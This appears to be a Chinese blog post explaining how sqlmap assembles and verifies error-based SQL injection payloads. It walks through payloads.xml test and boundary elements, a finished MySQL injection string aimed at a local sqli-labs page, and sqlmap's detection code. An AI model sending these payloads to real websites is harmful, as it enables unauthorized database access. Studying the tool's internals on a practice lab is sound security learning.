目标网址http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1
Payload的生成1<test>2<title>MySQL>= 5.0 AND error-based - WHERE or HAVING clause</title>3<stype>2</stype>4<level>1</level>5<risk>0</risk>6<clause>1</clause>7<where>1</where>8<vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</vector>9<request>10<payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>11</request>12<response>13<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>14</response>15<details>16<dbms>MySQL</dbms>17<dbms_version>>= 5.0</dbms_version>18</details>19</test>
该test xml元素是从文件payloads.xml提取出来的。
sqlmap会实现读取payloads.xml文件中的test元素,然后循环遍历,并生成相应的payload进行测试。
以上面的test为例,当遍历到该test的时候,在其子循环当中,还需要依次遍历boundary元素(都在payloads.xml文件中),并找到一个匹配的boundary。
何为匹配?
注意上面的test元素的子节点:where=1 和 clause=1
当且仅当某个boundary元素的where节点的值包含test元素的子节点,clause节点的值包含test元素的子节点的时候,该boundary才能和当前的test匹配,从而进一步生成payload。
例如:
1<boundary>2<level>1</level>3<clause>1</clause>4<where>1,2</where>5<ptype>2</ptype>6<PRefix>'</prefix>7<suffix>AND '[RANDSTR]'='[RANDSTR]</suffix>8</boundary>
该boundary元素中的where节点的值为1,2,含有test元素的where节点的值(1)
并且,boundary元素中的clause节点的值为1,含有test元素的where节点的值(1)
因此,该boundary和test元素可以匹配。
test元素的payload的值为:
AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
最终的payload是根据test的payload子节点和boundary的prefix(前缀)、suffix(后缀)子节点的值组合而成的,即:
最终的payload = url参数 + boundary.prefix+test.payload+boundary.suffix
将其中的[RANDNUM]、[DELIMITER_START]、[DELIMITER_STOP]替换掉之后
则生成的payload类似如下:
Payload: id=1' AND (SELECT 1497 FROM(SELECT COUNT(*),CONCAT(CHAR(58,101,121,111,58),(SELECT (CASE WHEN (1497=1497) THEN 1 ELSE 0 END)),CHAR(58,97,98,104,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'pujM'='pujM
其中:
URL参数:id=1prefix:'payload:AND (SELECT 1497 FROM(SELECT COUNT(*),CONCAT(CHAR(58,101,121,111,58),(SELECT (CASE WHEN (1497=1497) THEN 1 ELSE 0 END)),CHAR(58,97,98,104,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)suffix:AND 'pujM'='pujM最终生成的mysql语句为:
SELECT*FROMusersWHEREid='1'AND(SELECT1497FROM(SELECTCOUNT(*),
CONCAT(CHAR(58,101,121,111,58),
(SELECT(CASEWHEN(1497=1497)THEN1ELSE0END)
),CHAR(58,97,98,104,58),FLOOR(RAND(0)*2)
) xFROMinformation_schema. TABLESGROUPBYx
) a
)AND'pujM'='pujM'
如果,url:http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1可注入的话,那么执行的时候就会报如下错误:
Duplicate entry ':eyo:1:abh:1' for key 'group_key'
源码解释1#In case of error-based SQL injection2elif method ==PAYLOAD.METHOD.GREP:3#Perform the test's request and grep the response4#body for the test's <grep> regular expression5try:6 page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False)7 output = extractRegexResult(check, page, re.DOTALL |re.IGNORECASE) \8orextractRegexResult(check, listToStrValue(headers.headers \9if headerselse None), re.DOTALL |re.IGNORECASE) \10or extractRegexResult(check, threadData.lastRedirectMsg[1] \11if threadData.lastRedirectMsgand threadData.lastRedirectMsg[0] ==\12 threadData.lastRequestUIDelse None, re.DOTALL |re.IGNORECASE)1314ifoutput:15 result = output =="1"16ifresult:17 infoMsg ="%s parameter '%s' is '%s' injectable" %(place, parameter, title)18logger.info(infoMsg)1920 injectable =True2122exceptsqlmapConnectionException, msg:23 debugMsg ="problem occured most likely because the"24 debugMsg +="server hasn't recovered as expected from the"25 debugMsg +="error-based payload used ('%s')" %msg26 logger.debug(debugMsg)
将最终的payload传递给Request.queryPage函数执行并返回最终的执行结果page
test元素的grep子节点的值是一个正则表达式:<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
由前面的数据,我们知道
[DELIMITER_START]=:eyo:
[DELIMITER_STOP] =:abh:
则最终生成的正则表达式为::eyo:(?P<result>.*?):abh:(每次生成都是不一样的,因为:eyo:和:abh:都是随机生成的)
将page和正则表达式传递给函数extractRegexResult
1defextractRegexResult(regex, content, flags=0):2"""3Returns 'result' group value from a possible match with regex on a given4content5"""67retVal =None89ifregexandcontentand'?P<result>'inregex:10match =getCompiledRegex(regex, flags).search(content)1112ifmatch:13retVal = match.group("result")1415returnretVal
函数功能较简单,主要使用正则表达式判断是否包含指定的数据,如果有,则返回匹配的数据,没有,则返回None。
由前面的内容,可知,如果url可以注入的话,返回值retVal应该等于"1"
ifoutput:
result= output =="1"ifresult:
infoMsg="%s parameter '%s' is '%s' injectable"%(place, parameter, title)
logger.info(infoMsg)
injectable= True
而使用正则::eyo:(?P<result>.*?):abh:来匹配Duplicate entry ':eyo:1:abh:1' for key 'group_key'的结果为:1
故,url:http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1可注入
建议阅读关于Mysql注入过程中的五种报错方式及具体利用案例
版权作 者:曾是土木人
新浪微博:http://weibo.com/cstmr
转载请注明出处:http://www.cnblogs.com/hongfei/p/sqlmap-error-based-blind.html